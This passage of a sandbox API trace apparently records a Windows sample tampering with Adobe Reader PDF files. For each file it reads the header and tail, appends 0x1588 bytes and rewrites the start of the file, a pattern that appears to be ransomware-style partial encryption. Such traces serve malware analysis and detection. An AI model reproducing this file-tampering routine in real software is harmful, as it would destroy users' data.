WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.243] ReleaseMutex (hMutex=0x128) returned 1 [0034.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0034.243] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0034.249] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xf43a [0034.249] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0034.648] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xf43a [0034.648] WriteFile (in: hFile=0x1ac, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.648] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0034.648] WriteFile (in: hFile=0x1ac, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.649] CloseHandle (hObject=0x1ac) returned 1 [0034.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0034.651] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.651] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x13d46 [0034.651] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.651] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.651] ReleaseMutex (hMutex=0x128) returned 1 [0034.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.651] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0034.651] ReadFile (in: hFile=0x1ac, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0034.653] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x12d46 [0034.653] ReadFile (in: hFile=0x1ac, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0034.825] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x12d46 [0034.826] WriteFile (in: hFile=0x1ac, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.826] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0034.826] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.826] CloseHandle (hObject=0x1ac) returned 1 [0034.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0034.828] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.828] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x48d20 [0034.828] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.828] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.829] ReleaseMutex (hMutex=0x128) returned 1 [0034.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0034.829] ReadFile (in: hFile=0x1ac, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0034.835] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x47d20 [0034.835] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0034.870] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x47d20 [0034.870] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.871] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0034.871] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0034.871] CloseHandle (hObject=0x1ac) returned 1 [0034.881] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0034.881] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.881] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xc0af [0034.881] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.882] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.882] ReleaseMutex (hMutex=0x128) returned 1 [0034.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0034.882] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0034.882] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0034.888] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xb0af [0034.888] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0034.892] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0xb0af [0034.892] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.892] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0034.892] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.892] CloseHandle (hObject=0x1ac) returned 1 [0034.893] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0034.894] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.894] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2c339 [0034.894] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.894] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.894] ReleaseMutex (hMutex=0x128) returned 1 [0034.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0034.894] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0034.894] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0034.898] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2b339 [0034.898] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0034.900] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2b339 [0034.901] WriteFile (in: hFile=0x1ac, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.901] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0034.901] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0034.901] CloseHandle (hObject=0x1ac) returned 1 [0034.906] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0034.906] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.907] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1a8db [0034.907] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.907] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.907] ReleaseMutex (hMutex=0x128) returned 1 [0034.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0034.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78bcc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0034.907] ReadFile (in: hFile=0x1ac, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0034.911] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x198db [0034.911] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0034.912] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x198db [0034.913] WriteFile (in: hFile=0x1ac, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.913] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0034.913] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.913] CloseHandle (hObject=0x1ac) returned 1 [0034.915] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0034.915] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.915] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x30eb7 [0034.915] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0034.915] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.915] ReleaseMutex (hMutex=0x128) returned 1 [0034.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0034.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0034.916] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0035.150] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2feb7 [0035.150] ReadFile (in: hFile=0x1ac, lpBuffer=0x2772358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2772358*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.151] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2feb7 [0035.152] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da62d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da62d8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.152] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.152] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0035.153] CloseHandle (hObject=0x1ac) returned 1 [0035.156] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0035.156] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.156] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x80f5 [0035.157] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0035.157] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.157] ReleaseMutex (hMutex=0x128) returned 1 [0035.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0035.157] ReadFile (in: hFile=0x1ac, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0035.159] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x70f5 [0035.159] ReadFile (in: hFile=0x1ac, lpBuffer=0x1da62d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1da62d8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0035.159] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x70f5 [0035.159] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da62d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1da62d8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.159] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0035.159] WriteFile (in: hFile=0x1ac, 